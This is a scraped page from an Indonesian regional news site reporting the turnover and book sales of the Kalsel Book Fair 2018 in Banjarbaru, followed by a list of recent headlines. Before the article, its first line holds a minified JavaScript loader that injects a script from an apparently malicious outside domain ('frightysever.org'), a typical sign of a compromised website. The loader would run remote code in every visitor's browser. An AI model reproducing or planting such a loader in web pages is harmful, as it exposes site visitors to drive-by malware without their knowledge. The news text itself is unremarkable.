(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Wow, Transaksi Uang di KBF 2018 Sentuh 1 Miliar, 20 Ribu Buku Terjual


BANJARBARU, Panitia pelaksana KBF 2018 mencatat sedikitnya Rp 1 miliar uang berputar dalam perhelatan Kalsel Book Fair (KBF) 2018 selama 10 hari berlangsung dari 31 Maret hingga 9 April 2018.

Hal tersebut disampaikan Ramadhan, Sekretaris Dinas Perpustakaan dan Kearsipan Kalsel sekaligus Ketua Pelaksana KBF 2018. Ramadhan menyampaikan, selama 10 hari pelaksanaan KBF 2018 diperkirakan transaksi perputaran uang yang terjadi sekitar Rp 1 miliar dan ada 20 ribu buku yang terjual.

Ramadhan menambahkan, maksud dari dilaksanakan KBF sebagai langkah untuk meningkatkan minat baca sehingga menghasilkan generasi berkualitas dan berdaya saing menuju Kalsel yang cerdas.

“Kedepannya diharapkan lebih banyak lagi kegiatan seperti ini, tidak hanya di tingkat provinsi, namun juga dilakukan di tingkat kabupaten/kota. Sejauh ini sudah diikuti oleh Kabupaten Balangan, Hulu Sungai Utara, Tanah Bumbu. Supaya menyemarakkan dan mendekatkan buku kepada masyarakat,” katanya kepada Kanal Kalimantan, Senin (9/4).

Sementara itu, Wakil Gubernur Kalimantan Selatan H Rudy Resnawan mengutarakan, kelancaran kegiatan ini juga menjadi cerminan keseriusan dalam mewujudkan masyarakat Kalsel yang cerdas yang merupakan salah satu prioritas pembangunan Provinsi Kalsel.

Wagub Kalsel menambahkan, tujuan dilaksanakan KBF sebagai langkah untuk mendekatkan buku kepada masyarakat untuk meningkatkan gairah baca buku. “Karena buku adalah jendela ilmu,” ujarnya.



Mantan Walikota Banjarbaru 2 periode ini menambahkan, untuk meningkatkan gairah dekat dengan buku membiasakan membaca buku secara teratur harus dimulai dari diri sendiri, mendorong anak isteri dan saudara-saudara untuk selalu gemar membaca buku.

“Jika masing-masing keluarga cinta buku dan gemar membaca akan muncul masyarakat dan bangsa yang berpengetahuan dan berperadaban tinggi,” pungkasnya.

Setelah dihelat selama 10 hari, KBF 2018 secara resmi ditutup oleh Wagub Kalsel.  Dalam penutupan dihadiri Kepala Dispersip Kalsel Dra Hj Nurliani Dardie, Wakil Walikota Banjarbaru Darmawan Jaya Setiawan, dan jajaran SKPD Kalsel dan Kota Banjarbaru. (abdullah/rico)

Reporter : Abdullah, Rico
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.